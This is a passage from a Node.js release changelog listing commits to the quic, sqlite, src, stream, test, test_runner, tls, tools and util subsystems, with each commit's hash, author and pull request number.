• [0b534b5770] - quic: fixup linting issue after other changes (James M Snell) #63267
• [4b367cbe09] - quic: remove unused binding variable in session.cc (James M Snell) #63177
• [2574bef5a6] - repl: fix dedup comparing normalized line against raw history (Daijiro Wachi) #62886
• [30e71c7e49] - sqlite: keep source database alive during backup (Matteo Collina) #62673
• [677ca7e76c] - src: simplify OpenSSL feature gates (Filip Skokan) #63255
• [c863c75c39] - src: add BoringSSL EVP enumeration fallback (Filip Skokan) #63206
• [f6b2466921] - src: decouple KeyObject and CryptoKey and move CryptoKey to src (Filip Skokan) #62924
• [92d4f07dd2] - src: remove license headers for new node_profiling files (Chengzhong Wu) #63066
• [8ac5d771c8] - src: split profiling helpers from util (Ilyas Shabi) #63008
• [85d1639495] - src: remove TOCTOU race condition when encoding SAB-backed Buffers (Antoine du Hamel) #63517
• [9473c5f05c] - src: skip duplicate UTF-8 validation in TextDecoder fatal path (Mert Can Altin) #63231
• [f35c91ee68] - src: improve token return value check (James M Snell) #63483
• [26f677c1c5] - src: expose node::RegisterContext to make a node managed context (Chengzhong Wu) #62322
• [275cf909b6] - src,sqlite: only pass xFilter when user provided a callback (Antoine du Hamel) #63516
• [287e02303f] - src,sqlite: remove dead code (Edy Silva) #63204
• [58fa2ee189] - stream: switch to internal sleep binding (Antoine du Hamel) #63611
• [f954ab3f1a] - stream: use data listener for compose forwarding (Trivikram Kamat) #63593
• [dc57173003] - stream: fix Writable.toWeb() hang on synchronous drain (sangwook) #61197
• [3f54c8ba32] - Revert "stream: noop pause/resume on destroyed streams" (Stewart X Addison) #63834
• [cee279c5d6] - stream: remove unnecessary check (Antoine du Hamel) #63030
• [61b20f60a3] - test: update tls/crypto behaviour expectations when using BoringSSL (Filip Skokan) #63161
• [a835363808] - test: update WPT for WebCryptoAPI to 97bbc7247a (Node.js GitHub Bot) #63417
• [a00297480b] - test: update WPT resources, interfaces and WebCryptoAPI (Node.js GitHub Bot) #62389
• [5a95a2b055] - test: shorten path in net pipe connect errors (Matteo Collina) #63405
• [5e8ff22d8f] - test: remove test-node-output-v8-warning (Joyee Cheung) #63469
• [ee15380950] - test: update test426-fixtures to 9b9e225b5a63139e9a95cdd1bf874a8f0b9d131 (Node.js GitHub Bot) #63373
• [9e063d9bea] - test: update WPT for url to e4a4672e9e (Node.js GitHub Bot) #63372
• [503bee4b43] - test: deflake async-hooks statwatcher test (Trivikram Kamat) #63396
• [cccc7c32d8] - test: avoid test_runner watch restart in spec snapshot (Trivikram Kamat) #63392
• [c89489258c] - test: reduce watch mode restart flakiness (Trivikram Kamat) #63390
• [e4d5e2578e] - test: isolate rerun-failures state file under tmpdir (Chemi Atlow) #63449
• [362644a9ba] - test: wait for ok before initial break after restart (Yuya Inoue) #62807
• [c4058d0e05] - test: disable Maglev in near-heap-limit worker test (Trivikram Kamat) #63398
• [214da630a7] - test: deflake connection refused proxy tests (Trivikram Kamat) #63395
• [1d61a29876] - test: avoid repeated writes in watch helper (Trivikram Kamat) #63386
• [2004e25387] - test: deflake watch mode worker test (Trivikram Kamat) #63384
• [d691cccfc1] - test: relax test-memory-usage arrayBuffers check (inoway46) #63244
• [0ff6bf853c] - test: reduce flakiness of different-registry-per-thread (Antoine du Hamel) #63244
• [d9f4e8e503] - test: fix flaky test-watch-mode-inspect timeout (Matteo Collina) #63361
• [6d7cd50328] - test: relax min assertion in test-performance-eventloopdelay (Marco) #63100
• [9dafe1d2d8] - test: avoid flaky restart sync in debugger exceptions test (Yuya Inoue) #62055
• [989b2de973] - test: avoid initial-break wait in restart-message (inoway46) #62060
• [a072a25ee7] - test: move FFI tests to NATIVE_SUITES (Antoine du Hamel) #63165
• [64efbfd878] - test: use ERM to destroy sqlite database handles after tests (René) #63076
• [7dee66cd94] - test_runner: dont buffer unordered events in process isolation mode (Moshe Atlow) #63432
• [d257eec1e3] - test_runner: fix --test-rerun-failures swallowing failures on retry (Chemi Atlow) #63431
• [288c320e2f] - test_runner: show replayed-from-attempt hint in spec reporter (Moshe Atlow) #63429
• [904bdf5bb4] - test_runner: preserve run duration when using test-rerun (Moshe Atlow) #63429
• [df183d7bfa] - test_runner: avoid hanging on incomplete v8 frames (Ali Hassan) #62704
• [ec86c69726] - test_runner: fix diagnostics channel context tracking (Moshe Atlow) #63283
• [94e5f63b83] - tls: add unsupported renegotiation error (Filip Skokan) #63161
• [06d308fb61] - tools: prevent lib code from reading KeyObject and CryptoKey accessors (Filip Skokan) #63111
• [2e4a0d0c91] - tools: bump brace-expansion from 5.0.5 to 5.0.6 in /tools/eslint (dependabot[bot]) #63415
• [4c9666b366] - tools: skip commit-lint on backport pull requests (Marco) #63378
• [67d0c490a8] - tools: fix skip of test-internet on forks (Antoine du Hamel) #63492
• [02f73c7cac] - tools: bump the eslint group in /tools/eslint with 4 updates (dependabot[bot]) #63075
• [5d016d3241] - tools: update gyp-next to 0.22.2 (Node.js GitHub Bot) #63374
• [55af0f0edb] - tools: fix test426 updater (Antoine du Hamel) #63271
• [d8475e167a] - tools: use different branch for tool updates on staging branches (Antoine du Hamel) #63110
• [c605df9e50] - util: remove unused functions (Antoine du Hamel) #63612
• [fe4540ebdb] - util: create hex style cache and fast path (Guilherme Araújo) #62999